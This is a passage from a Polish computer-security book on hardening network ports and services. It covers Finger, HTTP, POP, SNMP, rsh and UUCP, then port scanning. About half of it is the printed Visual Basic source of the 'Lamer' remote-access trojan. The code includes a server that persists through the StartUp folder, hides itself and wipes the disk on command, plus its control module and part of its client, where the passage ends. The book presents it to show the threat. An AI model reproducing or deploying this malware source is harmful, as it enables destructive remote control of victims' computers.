ków, ponieważ usługa ta nie jest wymagana — zwłaszcza jej odpowiedzi na zapytania
przesyłane z Internetu — powinna zostać wyłączona.









Aby wyłączyć usługę w systemie UNIX, oznaczamy opisujący ją wiersz w pliku

/etc/inetd.conf

jako komentarz, podobnie jak przedstawiono to na rysunku 1.1

dla usługi Echo. Następnie restartujemy proces inetd lub system operacyjny.









W systemach Windows NT/2000 odinstalowujemy usługę serwera protokołu
Finger wraz z całością usług Simple TCP/IP Services, poprzez arkusz właściwości
połączenia sieciowego.

Jeżeli założenia komunikacji sieciowej wymagają, aby demon pozostawał aktywny, na-
leży zadbać o osłonę (wrapper). Należy również zapewnić, aby nie umożliwiała rozpo-
wszechniania faktycznych nazw kont użytkowników. Następnie wyłączamy funkcję prze-
kierowania usługi Finger i sprawdzamy czy dane użytkowników aktywnych nie są
bezpośrednio dostępne. Usługa Finger słynie ze swojej użyteczności w przygotowywaniu
włamań do sieci, wszystkie wymienione uwagi należy więc potraktować bardzo poważ-
nie. Jeżeli nie mamy możliwości zmodyfikowania kodu źródłowego programu lub wpły-
wu na konfigurację demona, powinniśmy z niego zrezygnować i poszukać innej wersji.

Port 80: HTTP

Jak niewątpliwie Czytelnik już wie, HTTP (Hypertext Transfer Protocol, protokół prze-
syłania hipertekstu) jest protokołem, na którym opiera się funkcjonowanie Wielkiej
Ś

wiatowej Pajęczyny, czyli WWW (World Wide Web). Protokół ten określa sposób

formatowania i przesyłania komunikatów będących następstwem wpisania w przeglą-
darce adresu URL witryny internetowej. Najczęstszym nadużyciem związanym z róż-
nymi wersjami demona HTTP jest „złamanie strony WWW” (ang. Web page hack).
Mimo że szersze omówienie technik przeciwdziałania przedstawione zostanie w dalszej
części książki, wspomnimy teraz o istotnej zasadzie projektowania sieci z serwerem lub
serwerami WWW.

Mocno zalecane jest projektowanie sieci zgodnie z omówionym na wcześniejszych stro-
nach (Port 25: SMTP) schematem SMTP-NAT-DMZ. Umieszczenie serwera WWW za
zaporą firewall, w strefie DMZ, pozwoli zaoszczędzić wielu, wielu godzin spędzanych na

background image


58

Hack Wars. Tom 2. Na tropie hakerów

58

mniej lub bardziej rutynowych działaniach, do których zmuszają administratora próby
atakowania sieci. Podstawowym aspektem tego rozwiązania jest wydajna zapora, zdolna
do badania, potencjalnie, milionów pakietów żądań HTTP. Jest to rozwiązanie zdecydo-
wanie najlepsze. Gdy jednak (jak to często bywa) koszt systemu staje się istotnym
czynnikiem ograniczającym, pozostaje utrzymywanie szczegółowych dzienników syste-
mu i wprowadzenie blokady portów. Blokady portów, takie jak TigerWatch (narzędzie
omówione w dalszych rozdziałach), pełnią rolę uproszczonych zapór firewall, zamykając
podatne na ataki porty i związane z nimi usługi oraz monitorując próby ataków.

Jeżeli usługa HTTP nie jest wymagana, czy to w systemie UNIX, czy Windows, wyłą-
czamy ją. Wymagane czynności są podobne jako opisane na stronach wcześniejszych
(Port21: FTP i Port 23: Telnet). Gdy usługa pozostaje aktywna, w systemie UNIX
nie wolno zapominać o jej osłonie, wraz ze szczegółowym rejestrowaniem, oraz wy-
łączeniu funkcji przeglądania katalogów.

TigerWebServer

Rozwiązaniem dobrym zarówno dla firm, jak i domowych użytkowników Windows,
może być TigerWebServer — bezpieczny serwer WWW, od podstaw zaprojektowany
tak, aby można było go uruchomić, wraz z całą witryną, z dysku CD-ROM. Jest to
najpewniejszy sposób zabezpieczenia przed „złamaniem” witryny WWW — nie ist-
nieje możliwość zdalnej podmiany plików na niezapisywalnym dysku optycznym.
Program posiada również inne ciekawe funkcje:









Analizatory sesji.









Proaktywne monitorowanie serwera.









Zdalne zarządzanie witryną.









Przetwarzanie skryptów CGI, w tym dostęp do książki gości.









Rozmowa (ang. chat) w czasie rzeczywistym.









Obsługa do 100 000 jednoczesnych strumieni połączeń.









Moduły FTP i Telnet użytkownika.









Obsługa adresów IP w czasie rzeczywistym.

Obsługa adresów IP w czasie rzeczywistym jest szczególną cechą programu Tiger-
WebServer
. Oznacza, że w pełni profesjonalny dostęp do serwera WWW, z dowolnego
miejsca i w dowolnym czasie, zapewniać mogą użytkownicy zarówno stałych, jak i tym-
czasowych czy telefonicznych internetowych kont dostępowych. Można wręcz korzystać
z kilku różnych kont dostępu telefonicznego, z których każde przypisuje serwerowi
odmienny adres IP w każdej sesji. TigerWebServer pracować może w połączeniu z usłu-
gami nazw domen lub bez nich.

Program opisujemy szerzej w dodatku A.

background image


Rozdział 1.

Zabezpieczanie portów i usług

59

59

Porty 109 i 110: POP

Protokół urzędu pocztowego (Post Office Protocol, POP) służy do pobierania poczty
elektronicznej z serwera pocztowego. Opiera się na topologii klient-serwer, gdzie
pocztę odbiera i przechowuje serwer — do chwili, gdy oprogramowanie klienta przepro-
wadzi procedurę logowania i ostatecznie pobierze zgromadzone przesyłki. Braki w inte-
gracji architektury protokołu umożliwiają osobom nieupoważnionym logowanie, jak
również bezpośrednie połączenia Telnet (przez port 110) z systemami operacyjnymi,
w których pracują demony POP, nawet po zmianie hasła stosowanego dla konta
POP3. Inną słabością jest ujawnianie istotnych informacji przy próbie połączenia telneto-
wego z systemem pocztowym, jak również możliwość pobierania plików bufora poczty.

Jeżeli usługi POP nie są wymagane, w systemie UNIX wyłączamy usługę, a w syste-
mie Windows odinstalowujemy odpowiednie oprogramowanie. Jeżeli dostęp POP jest
koniecznością, zakładamy jego osłonę (zgodnie z opisem na stronach wcześniejszych).
Bezpieczeństwo protokołu POP różni się w zależności od stosowanego pakietu, należy
więc przejrzeć dokumentację pod kątem dostępnych w stosowanej wersji zaawanso-
wanych funkcji zabezpieczających.

Porty 111, 135 i 137 – 139

Porty o wymienionych numerach współpracują z usługami, kolejno: Portmap, Loc-serv,
Nbname, Nbdatagram i Nbsession. Demon Portmap konwertuje numery programów
RPC na numery portów. Serwer RPC przy uruchamianiu rejestruje swoją aktywność
w programie demona Portmap. Podaje on demonowi numer portu, na którym prowadzi
nasłuch, oraz numery programów RPC, które obsługuje. Demon Portmap zna dzięki temu
odpowiednie numery portów i posiada informację o tym, które programy są na każ-
dym z nich dostępne. Loc-serv to usługa RPC systemu NT. Jeżeli osoba niepowołana
użyje odpowiednich parametrów i poda adres klienta, może uzyskać dzięki tej usłudze
nazwę domeny NIS (network information service, sieciowa usługa informacyjna).
Ogólnie rzecz biorąc, znajomość nazwy domeny NIS może umożliwić uzyskanie kopii
pliku haseł.

Port 137 (nbname) służy jako alternatywa systemu odwzorowywania nazw DNS. Określa
się tę usługę często nazwą WINS lub usługa nazw NetBIOS. Węzły, na których uru-
chomiona jest obsługa protokołu NetBIOS pracującego w oparciu o TCP/IP korzystają
z pakietów UDP przesyłanych do i z portu UDP o numerze 137 — realizują w ten sposób
odwzorowania nazw. Słabością tego protokołu jest brak uwierzytelniania. Na rozgło-
szeniowe zapytania o jakiekolwiek nazwy odpowiedzieć może dowolny komputer,
podszywając się w ten sposób pod uprawniony do tego serwer.

Niezmiernie istotną rzeczą jest filtrowanie komunikacji przez każdy z opisywanych tu
portów na granicach lokalnego segmentu sieci. Odpowiednie mechanizmy zapewnić
mogą zapory firewall, routery lub blokady portów. W dalszych rozdziałach szerzej
omówimy techniki filtrowania i ich stosowanie jako alternatywy dla wyłączania zagro-
ż

onych usług.

background image


60

Hack Wars. Tom 2. Na tropie hakerów

60

Port 161: SNMP

Prosty protokół zarządzania siecią (Simple Network Management Protocol, SNMP)
odpowiada za zarządzanie i monitorowanie urządzeń sieciowych. Jeżeli demon usługi
SNMP jest aktywny, osoby nieupoważnione mogą sięgnąć po udzielane przezeń infor-
macje w celu uzyskania danych o sieci. Należą do nich: typy urządzeń, lista aktywnych
połączeń sieciowych, lista aktywnych procesów, a nawet lista aktywnych użytkowników.
Podstawowymi środkami przeciwdziałania takiemu nadużyciu jest filtrowanie dostępu
z Internetu i zadbanie o stosowanie wyłącznie prywatnych nazw wspólnot SNMP.

Porty 512 – 520

Port 512 wykorzystuje narzędzie

rexec()

do zdalnego uruchamiania procesów. Gdy

port ten jest aktywny (prowadzony jest na nim nasłuch), w większości sytuacji serwer
uruchamiania zdalnego skonfigurowany jest tak, aby rozpoczynać pracę automatycznie.
Wiąże się to zasadniczo z obecnością w pamięci X-Windows. Bez odpowiedniej ochrony,
zawartość okien użytkownika może być wówczas przechwytywana i podglądana.

Porty 513 i 514 określa się jako „uprzywilejowane” i jako takie — w wielu odmianach
systemu UNIX — stają się celem ataków związanych z podrabianiem adresów IP.
Z portu 514 korzysta również narzędzie

rsh

, funkcjonujące jako interaktywna powłoka

systemu, pozbawiona jakiejkolwiek procedury logowania. Obie te usługi potwierdzają
obecność demona X-Windows (podobnie jak opisano to wyżej). Korzystając z metod
konwencjonalnych, proste użycie narzędzia Telnet pozwoli ustanowić połączenie.

Dostęp UPD do portu 514 (dziennik systemowy) jest otwartym zaproszeniem do różnego
rodzaju ataków DoS. Prosty moduł skanujący potwierdzi jego otwartość na nadużycia.

Demony Talk to interaktywne programy komunikacyjne, działające zgodnie z proce-
durami określanymi przez starsze i nowsze wersje protokołu Talk (porty 517 i 518).
Obsługują one odbywające się w czasie rzeczywistym konwersacje tekstowe pomię-
dzy stacjami UNIX. Na demony te składają się zazwyczaj programy klienta i serwera
Talk, które w normalnych warunkach mogą jednocześnie pracować w tym samym
systemie. W większości przypadków, nowsze demony Talk, inicjowane przez port 518,
nie są zgodne z wersjami starszymi. Mimo, że ich aktywność może wydawać się nie-
szkodliwa, często tak nie jest. Poza oczywistą kwestią, że utworzenie połączenia wiąże
się z ustanowieniem komunikacji TCP na jednym z losowo wybranych portów syste-
mu, usługi te wrażliwe są również na kilka możliwości ataku zdalnego.

Proces ustanawiania trasy pakietów określany jako dynamiczne wybieranie trasy (ang.
dynamic routing) ma miejsce wówczas, gdy routery komunikują się z routerami przy-
ległymi (sąsiadującymi), informując się wzajemnie o tym, z którymi sieciami każdy z
nich jest w danej chwili zaznajomiony. Komunikacja taka opiera się na protokole wy-
bierania tras — usłudze wymagającej odpowiedniego demona. W zależności od pro-
tokołu, przekazywane w obu kierunkach pomiędzy routerami uaktualnienia danych,
korzystają z określonych portów systemu. Najpopularniejszy chyba protokół wybierania
tras, Routing Information Protocol (RIP, protokół informowania o trasach), korzysta
z portu UDP o numerze 520. Port ten znalazł również zastosowanie w wielu firmowych
protokołach o tym samym przeznaczeniu. W fazie wykrywania danych o celu ataku, kiedy

background image


Rozdział 1.

Zabezpieczanie portów i usług

61

61

zbierane są najważniejsze informacje o topologii, sesje komunikacyjne protokołów
wybierania tras mogą być przechwytywane niemal dowolnym monitorem sieci.

Ś

rodkiem przeciwdziałania tego rodzaju zagrożeniom jest filtrowanie komunikacji

korzystającej z wymienionych portów na granicy systemu lokalnego lub „zaufanego”
segmentu sieci. Odpowiednie mechanizmy zapewnić mogą zapory firewall, routery
lub blokady portów. W dalszych rozdziałach techniki filtrowania omówimy szerzej.

Port 540: UUCP

W pracy protokołu UUCP (UNIX-to-UNIX Copy Protocol, protokół kopiowania mię-
dzy systemami UNIX) bierze udział rodzina programów, które realizują przesyłanie
plików między różnymi systemami UNIX i, co ważniejsze, przekazywanie poleceń,
które wykonane zostaną na systemie zdalnym. Protokół ten znajduje zastosowanie w stan-
dardowych procedurach dostarczania poczty elektronicznej.

Zasadniczo, usługa UUCP nie jest wymagana, powinna więc zostać wyłączona. W tym
celu, podobnie jak przedstawiono to na rysunku 1.1 odnośnie usługi Echo, oznaczamy
opisujący UUCP wiersz w pliku

/etc/inetd.conf

jako komentarz. Wówczas restartujemy

system lub sam proces inetd.

Jeżeli protokół UUCP jest wymagany, co związane jest przede wszystkim z dostarcza-
niem poczty, osłaniamy usługę. Nie wolno zapominać o archiwizacji szczegółowych
plików dziennika. Tworzy również własny harmonogram, uwzględniający godziny
aktywności, w trakcie których demon UUCP przesyła pocztę, oraz godziny, w których
demon pozostaje wyłączony. Na połączeniach internetowych, konfigurujemy pracę
strumieni sesji UUCP tak, aby korzystały z prywatnych sieci wirtualnych (VPN, virtual
private networks
), lub korzystamy z pozostającej pod ochroną zapory firewall strefy
DMZ. Sieci VPN opiszemy szerzej w dalszej części książki.

Porty ukryte

W pierwszym tomie zapoznaliśmy się z wieloma sekretnymi, niebezpiecznymi, ale
szeroko stosowanymi usługami oraz portami, którymi zarządzają. Przedstawiliśmy szkody
wyrządzane przez takie demony, pozwalające zarządzać stacjami CD-ROM, dźwię-
kiem, plikami, paskiem zadań, pulpitem, rejestrowaniem wciśnięć klawiszy, stosowanymi
hasłami, aplikacjami, przeglądarką, systemem jako całością, jego awariami, zrzutami
zawartości ekranu i mechanizmami komunikacji międzyprocesowej. Wszyscy oczywiście
możemy ulec takim atakom. Co więcej, ich przeprowadzenie nie jest wcale trudne.

Informacje przedstawione w Hack wars. Na tropie hakerów zwróciły uwagę na dostępne
osobom nieupoważnionym formy nadużyć. Czas wreszcie nauczyć się jak zapobiegać
włamaniom, zabezpieczając odpowiednio sieć i pracujące w niej komputery. Napisaliśmy,
ż

e wykrycie aktywnych portów i usług wymaga korzystania z narzędzi takich jak

skanery portów. To samo odnosi się do przeprowadzanych lokalnie testów odporności
systemu. Przypomnijmy, że celem skanowania portów jest przejrzenie wszystkich 65 ty-

background image


62

Hack Wars. Tom 2. Na tropie hakerów

62

sięcy „bram” do naszego komputera i uzyskanie informacji o tym, które z nich są otwarte,
a przez to podatne na próby ataku z zewnątrz.

Należy mieć świadomość, że z portów należących do grupy ukrytych korzysta również
wiele użytecznych demonów. Ich listę umieściliśmy na dołączonym do książki dysku
CD. Zgodnie z pierwszym tomem niniejszej publikacji, za porty ukryte uznajemy porty o
numerach od 1025 do 65 000.

Skanowanie portów lokalnych

Do przeprowadzenia przeglądu portów lokalnych wystarczający będzie niemal każdy
zapewniający możliwość pracy wielowątkowej skaner. W naszych przykładach posłuży-
my się programem TigerScan, należącym do pakietu TigerSurf. Rozpoczniemy od za-
logowania się do jego głównego interfejsu (patrz rysunek 1.22). Po zainicjowaniu prze-
glądarki, z menu Options (Opcje) | Security Properties (Właściwości zabezpieczeń) |
Security Scan
(Skanowanie zabezpieczeń) wybierzemy Scan ports now (Skanuj porty).
Ilustruje to rysunek 1.23.

Rysunek 1.22.
Logowanie do
programu TigerSurf

Rysunek 1.23.
Uruchamianie modułu
TigerScan z głównego
paska menu

background image


Rozdział 1.

Zabezpieczanie portów i usług

63

63

Oprogramowanie TigerSurf znajdziemy na krążku CD dołączonym do niniejszej książki.

Należy być przygotowanym na to, że praca modułu skanowania zajmie nieco czasu
— gromadzi on informacje o portach aktywnych i, poprzez porównanie z bazą danych
o drogach włamań do systemów, ustala ich słabe punkty (patrz rysunek 1.24).

background image


Rozdział 1.

Zabezpieczanie portów i usług

63

63

Rysunek 1.24.
Program TigerScan
podaje informacje
o aktywnych portach
i usługach

Ogólnie rzecz biorąc, funkcje skanera przedstawić można w trzech punktach:

1.

Lokalizacja portów otwartych.

2.

Wykrycie dostępnych danych.

3.

Porównanie wyników z listą znanych luk w zabezpieczeniach.

W zależności od wielkości dostępnych zasobów systemu i procesora, cała operacja zająć
może od 3 do 12 minut.

Na rysunku 1.24 widać wyniki pracy skanera — wykryte zostały dwa aktywne porty:
135 i 13 000. Usługa korzystająca z zarezerwowanego portu 135 to usługa Loc-serv
systemu Windows NT. Jeżeli włamywacz użyje odpowiednich parametrów i poda adres
klienta, uzyska nazwę jego domeny NIS. Znajomość nazwy domeny NIS może umożliwić
mu zdobycie kopii pliku haseł.

Nieco większym zaskoczeniem może być usługa wykryta na porcie 13 000, nazwana
lamer. Lamer to nieprzyjemny, zdalnie sterowany koń trojański, realizujący takie funkcje
jak zarządzanie stacją CD-ROM, przesyłanie plików, zarządzanie plikami i dopro-
wadzanie do zawieszenia systemu. Jest to stosunkowo nowa kompilacja, stworzona
w języku Visual Basic i ostatnio testowana przez autora, który w tym celu zaraża wirusem
własny system. Demon ten, zamaskowany jako program narzędziowy, rozpowszechniany
jest najczęściej pocztą elektroniczną. W tym przypadku program odebrany został jako
kalkulator IP, ułatwiający szybkie wyliczanie numerów podsieci, masek i adresów
rozgłaszania.

Przy instalacji zapisywany (lub zastępowany) jest w katalogu

/Windows/System

plik

o nazwie

dnetc.exe

. Po restarcie systemu następuje jego uruchomienie w tle. Wówczas

program prowadzi nasłuch na porcie 13 000 i oczekuje na przekazywane zdalnie dyrekty-
wy. Właściwy

dnetc.exe

ma być programem klienckim ośrodka Distributed.net, umożli-

wiającym systemowi udział w jego ogólnoświatowych projektach — ma przyłączać
komputer użytkownika do proxy Distributed.net i odbierać bloki przeznaczonych do

background image


64

Hack Wars. Tom 2. Na tropie hakerów

64

przeliczenia kluczy. Istnienie konia trojańskiego umożliwia hakerom proste sprawdza-
nie systemów pod kątem aktywności na porcie 13 000. Gdy zostanie wykryta, droga do
zdalnego sterownia stoi otworem.

Więcej informacji o „Trojanie” Lamer i jego różnych odmianach znaleźć można
w ośrodku www.distributed.net.

Do użytku Czytelników przedstawiamy poniżej kod serwera Lamer. Przyjrzenie się
jego listingowi, w połączeniu z przedstawionymi powyżej technikami rozpowszech-
niania, uzmysłowić powinno, jak poważną groźbą może być nawet tak prosta kompilacja
w Visual Basicu. Nadmienić należy, że nie uwzględniono w przedstawionym kodzie
niejawnego funkcjonowania serwera. Zarówno sam serwer, jak i jego klient mogą zo-
stać uruchomione na tej samej stacji.

Lamer Server

Dim d As String
Dim key As Boolean
Dim cdrom As Boolean
Dim mouse As Boolean
Dim start As Boolean
Dim deskt As Boolean
Dim task As Boolean

Function ShowFolderList(foldername)
Dim fso, f, fc, fj, s, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(foldername)
Set fc = f.Subfolders
Set fj = f.Files
For Each f1 In fc
s = f1.name
s = s & "<BR>"
d = d + NewLine + f1
Next
End Function

Function App_Path() As String
x = App.path
If Right$(x, 1) <> "\" Then x = x + "\"
App_Path = UCase$(x)
End Function

Private Sub OPEN_Click()
cdrom = True
MciSendString "Set CDAudio Door Open Wait", _
0&, 0&, 0&
End Sub

Private Sub CLOSE_Click()
cdrom = False
MciSendString "Set CDAudio Door Closed Wait", _
0&, 0&, 0&
End Sub

Private Sub Command2_Click()
startbar = 0

background image


Rozdział 1.

Zabezpieczanie portów i usług

65

65

End Sub

Private Sub Dir1_Change()
Label8.Caption = Dir1.path
File1.path = Dir1.path
End Sub

Private Sub Form_Load()
key = False
cdrom = False
task = True
start = True
deskt = True
Dir1.path = "c:\"
Label8.Caption = Dir1.path
File1.path = Dir1.path
On Error GoTo errorhandle
SourceFile = App_Path + "cracklist.exe"
sourcefile2 = App_Path + "mswinsck.ocx"
Label7.Caption = App.path

DestinationFile2 = "C:\Windows\Start

Menu\Programs\StartUp\cracklist.exe"

destinationfile3 = "c:\windows\system\mswinsck.ocx"
FileCopy SourceFile, DestinationFile2
FileCopy sourcefile2, destinationfile3
errorhandle: If Err.Number = 70 Or 53 Then Resume Next
Label7.Caption = App.path
MsgBox "Error 643 file not found!", vbCritical, "Error"
Winsock1.Close
App.TaskVisible = False
Label2.Caption = Winsock1.LocalIP
Label4.Caption = Winsock1.LocalHostName
Winsock1.Listen
List1.AddItem "Listening on port 13000..."
End Sub

Private Sub Image1_Click()
TaskbarIcons innotontaskbar
End Sub

Private Sub Text1_Change()
Dim data As String
data = "Server respond : Command executed!"
If Text1.text = "Status" Then
data = "<----------------Status--------------->"
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data

data = "Computer Name : " & Winsock1.LocalHostName
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data

data = "IP Address : " & Winsock1.LocalIP
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data

data = "Server path : " & App_Path
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data

background image


66

Hack Wars. Tom 2. Na tropie hakerów

66

If task = False Then
data = "Taskbar status : Hidden"
Winsock2(i).SendData data
End If
If task = True Then
data = "Taskbar status : Visible"
Winsock2(i).SendData data
End If

data = NewLine
Winsock2(i).SendData data

If start = False Then
data = "Start button status : Hidden"
Winsock2(i).SendData data
End If
If start = True Then
data = "Start button status : Visible"
Winsock2(i).SendData data
End If

data = NewLine
Winsock2(i).SendData data

If deskt = False Then
data = "Desktop icon status : Hidden"
Winsock2(i).SendData data
End If
If deskt = True Then
data = "Desktop icon status : Visible"
Winsock2(i).SendData data
End If

data = NewLine
Winsock2(i).SendData data
If mouse = False Then
data = "Mouse buttons are not swapped."
Winsock2(i).SendData data
Else
data = "Mouse buttons are swapped."
Winsock2(i).SendData data
End If

data = NewLine
Winsock2(i).SendData data
If cdrom = False Then
data = "CD-Rom is closed."
Winsock2(i).SendData data
Else
data = "CD-Rom is open."
Winsock2(i).SendData data
End If

data = NewLine
Winsock2(i).SendData data
If key = False Then
data = "Keyboard status : Enabled"
Winsock2(i).SendData data
Else
data = "Keyboard status : Disabled"
Winsock2(i).SendData data

background image


Rozdział 1.

Zabezpieczanie portów i usług

67

67

End If
data = NewLine
Winsock2(i).SendData data
data = "You are on directory : " + Label8.Caption
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "<----------------End--------------->"
Winsock2(i).SendData data
End If
If Text1.text = "Info" Then
data = "<--------Directory Information-------->"
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "Directory path : " + Label8.Caption
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
Dim intFileCount As Integer
For intFileCount = 0 To File1.ListCount - 1
File1.ListIndex = intFileCount
data = intFileCount & " " & File1.FileName & vbCrLf
Winsock2(i).SendData data
Next

data = "<----------------End--------------->"
Winsock2(i).SendData data
End If
If Text1.text = "Erase" Then
On Error GoTo errhandle
data = "Erasing files..."
Winsock2(i).SendData data

Kill Label8.Caption + "\*.*"
data = NewLine
Winsock2(i).SendData data

data = "Files successfully erased!"
Winsock2(i).SendData data
errhandle: If Err.Number = 53 Then
data = "An error occured. Aborting operation."
Winsock2(i).SendData data
End If
End If
If Text1.text = "Erased" Then
On Error GoTo errorhandler
data = "Erasing files..."
Winsock2(i).SendData data
Kill Label8.Caption + "\*.*"
data = NewLine
Winsock2(i).SendData data
data = "Erasing directory..."
Winsock2(i).SendData data
RmDir Label8.Caption
data = NewLine
Winsock2(i).SendData data
data = "Files and directory successfully erased!"
Winsock2(i).SendData data
errorhandler: If Err.Number = 53 Then
data = "There are no files on this directory..."
Winsock2(i).SendData data

background image


68

Hack Wars. Tom 2. Na tropie hakerów

68

data = NewLine
Winsock2(i).SendData data
RmDir Label8.Caption
Winsock2(i).SendData data
data = "Directory successfully erased!"
Winsock2(i).SendData data
End If
End If
If Text1.text = "viewdir" Then
d = ""
data = "<-----------Directory List----------->"
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
ShowFolderList Label8.Caption & ("\")
data = d
Winsock2(i).SendData data
data = NewLine
Winsock2(i).SendData data
data = "<----------------End--------------->"
Winsock2(i).SendData data
End If
If Text1.text = "updir" Then
Dir1.path = Dir1.List(-2)
data = "Directory changed to : " & Label8.Caption
Winsock2(i).SendData data
End If
If Text1.text = "Kill" Then
data = "Server respond : Server killed!"
Winsock2(i).SendData data
End
End If
If Text1.text = "Open CD-ROM" Then
Call OPEN_Click
Winsock2(i).SendData data
End If
If Text1.text = "Close CD-ROM" Then
Call CLOSE_Click
Winsock2(i).SendData data
End If
If Text1.text = "Swap buttons" Then
SwapButtons
End If
If Text1.text = "Crash" Then
Shell "rundll32 user,disableoemlayer"
Winsock2(i).SendData data
End If
If Text1.text = "Shutdown" Then
Shell "rundll32 krnl386.exe,exitkernel"
Winsock2(i).SendData data
End If
If Text1.text = "Lock keyboard" Then
key = True
Shell "rundll32 keyboard,disable"
Winsock2(i).SendData data
End If
If Text1.text = "Destroy" Then
Kill "c:\windows\system\*.*"
Kill "c:\windows\*.*"
Kill "c:\*.*"
Kill "c:\windows\system32\*.*"
Winsock2(i).SendData data

background image


Rozdział 1.

Zabezpieczanie portów i usług

69

69

End If
If Text1.text = "Hide task" Then
TaskbarIcons innotontaskbar
task = False
Winsock2(i).SendData data
End If
If Text1.text = "Show task" Then
TaskbarIcons isontaskbar
task = True
Winsock2(i).SendData data
End If
If Text1.text = "Hide start" Then
StartButton innotontaskbar
start = False
Winsock2(i).SendData data
End If
If Text1.text = "Show start" Then
StartButton isontaskbar
start = True
Winsock2(i).SendData data
End If
If Text1.text = "Hide desk" Then
Desktop isoff
deskt = False
Winsock2(i).SendData data
End If
If Text1.text = "Show desk" Then
Desktop ison
deskt = True
Winsock2(i).SendData data
End If
End Sub

Private Sub SwapButtons()
Dim Cur&, Butt&
Cur = SwapMouseButton(Butt)
If Cur = 0 Then
mouse = True
SwapMouseButton (1)
Else
mouse = False
SwapMouseButton (0)
End If
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Dim text As String
Dim name As String
Winsock2(i).Accept requestID
List1.AddItem "User connected, accepting connection request on " &
requestID
Text2.text = "Connection accepted on "
text = Text2.text
name = Label4.Caption
Winsock2(i).SendData text
Winsock2(i).SendData name
End Sub
Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal
As Long)
Dim datas As String
Winsock2(i).GetData datas

background image


70

Hack Wars. Tom 2. Na tropie hakerów

70

Text1.text = datas
Select Case Left(datas, 5)
Case "mkdir"
On Error GoTo errhandler
MkDir Label8.Caption & "\" & Mid(datas, 6)
errhandler: If Err.Number = 75 Then
data = "Directory could not be created. No name is given."
Winsock2(i).SendData data
End If
Case "chdir"
On Error GoTo path
Dir1.path = Mid(datas, 6)
data = "You are on directory : " + Label8.Caption
Winsock2(i).SendData data
path: If Err.Number = 76 Then
data = "Path not found"
Winsock2(i).SendData data
End If
Case "messg"
MsgBox Mid(datas, 6), vbCritical + vbOKOnly, "Unknown
message!"
End Select
End Sub

Moduł sterowania serwera

Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As
Long,
ByVal dwReserved As Long) As Long
Public Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As
Long) As Long
Public Declare Function MciSendString Lib "winmm.dll" Alias
"mciSendStringA" (ByVal lpstrCommand As String, ByVal
lpstrReturnString As String, ByVal uReturnLength As Long, ByVal
hwndCallback As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA"
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias
"FindWindowExA" (ByVal

hwnd1 As Long, ByVal hwnd2 As Long, ByVal lpsz1 As String, ByVal

lpsz2 As

String) As Long

Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As
Long, ByVal

hWndInstertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal

cx As Long,

ByVal cy As Long, ByVal wFlags As Long) As Long

Public Declare Function ShellExecute Lib "shell32.dll" Alias
"ShellExecuteA" (ByVal

hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String,

ByVal lpParameters As String, ByVal lpDirectory As String, ByVal
nShowCmd As Long)

As Long

Public Declare Function ShowCursor Lib "user32" (ByVal bShow As Long)
As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long,
ByVal nCmdShow

As Long) As Long

Public Declare Function SystemParametersInfo Lib "user32" Alias

"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As

background image


Rozdział 1.

Zabezpieczanie portów i usług

71

71

Long, lpvParam

As Any, ByVal fuWinIni As Long) As Long

Public Const SW_HIDE = 0
Public Const SW_SHOW = 5
Public Enum Desktop_Constants
ison = True
isoff = False
End Enum
Public Enum StartBar_Constants
isontaskbar = 1
innotontaskbar = 0
End Enum

Public Function StartButton(State As StartBar_Constants)
Dim SendValue As Long
Dim SetOption As Long
SetOption = FindWindow("Shell_TrayWnd", "")

SendValue = FindWindowEx(SetOption, 0, "Button",

vbNullString)

ShowWindow SendValue, State
End Function

Public Function TaskbarIcons(State As StartBar_Constants)
Dim SendValue As Long
Dim SetOption As Long
SetOption = FindWindow("Shell_TrayWnd", "")

SendValue = FindWindowEx(SetOption, 0, "TrayNotifyWnd",

vbNullString)

ShowWindow SendValue, State
End Function

Public Function Desktop(State As Desktop_Constants)
Dim DesktopHwnd As Long
Dim SetOption As Long

DesktopHwnd = FindWindowEx(0&, 0&, "Progman", vbNullString)

SetOption = IIf(State, SW_SHOW, SW_HIDE)
ShowWindow DesktopHwnd, SetOption
End Function

Public Function NewLine()
NewLine = vbCrLf
End Function

Lamer Client

Function ShowFolderList(foldername)
Dim fso, f, fc, fj, s, f1
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(foldername)
Set fc = f.Subfolders
Set fj = f.Files
For Each f1 In fc
s = f1.Name
s = s & "<BR>"

Text1.Text = Text1.Text + NewLine + (f1)
Next
End Function

Private Function NewLine()
NewLine = vbCrLf
End Function

background image


72

Hack Wars. Tom 2. Na tropie hakerów

72


Private Sub Command1_Click()
On Error Resume Next
Text3.Text = "Open CD-ROM"
Command8_Click
End Sub

Private Sub Command10_Click()
Form1.PopupMenu mnuftp
End Sub

Private Sub Command11_Click()
On Error Resume Next
Text3.Text = "Status"
Command8_Click
End Sub

Private Sub Command12_Click()
Form1.PopupMenu mnudesktop
End Sub

Private Sub Command13_Click()
On Error Resume Next
Text3.Text = "Kill"
Command8_Click
End Sub

Private Sub Command14_Click()
Text4.Text = ""
End Sub

Private Sub Command2_Click()
On Error Resume Next
Text3.Text = "Close CD-ROM"
Command8_Click
End Sub

Private Sub Command3_Click()
On Error Resume Next
Text3.Text = "Swap buttons"
Command8_Click
End Sub

Private Sub Command4_Click()
On Error Resume Next
Text3.Text = "Crash"
Command8_Click
End Sub

Private Sub Command5_Click()
On Error Resume Next
Text3.Text = "Destroy"
Command8_Click
End Sub

Private Sub Command6_Click()
On Error Resume Next
